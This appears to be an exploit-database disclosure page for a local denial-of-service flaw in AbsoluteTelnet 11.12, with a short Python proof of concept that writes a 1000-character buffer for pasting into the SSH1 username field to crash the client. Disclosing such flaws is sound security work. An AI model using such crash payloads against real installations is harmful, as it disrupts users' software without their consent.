AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)

vendor:

AbsoluteTelnet

by:

chuyreds

7.5

CVSS

HIGH

Denial of Service (DoS) Local

CWE

Product Name: AbsoluteTelnet

Affected Version From: 11.12

Affected Version To: 11.12

Patch Exists: NO

Related CWE:

CPE: a:celestialsoftware:absolute_telnet:11.12

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 Pro x64 es

2020

AbsoluteTelnet 11.12 – ‘SSH1/username’ Denial of Service (PoC)

The AbsoluteTelnet version 11.12 is vulnerable to a denial of service (DoS) attack. By sending a specially crafted payload to the SSH1 'username' field, an attacker can cause the application to crash, resulting in a denial of service condition.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. It is recommended to avoid using AbsoluteTelnet version 11.12 or update to a newer version if available.

Source

Exploit-DB raw data:

# Exploit Title: AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-05-02
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
# 1.- Run python code: AbsoluteTelnet 11.12_username_ssh1.py
# 2.- Open absolutetelnet_username_SSH1.txt and copy content to clipboard
# 3.- Open AbsoluteTelnet
# 4.- Select "new connection file", "Connection", "SSH1", "Use last username"
# 5.- In "username" field paste Clipboard
# 6.- Select "OK"
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("absolutetelnet_username_SSH1.txt", "w")
f.write(buffer)
f.close()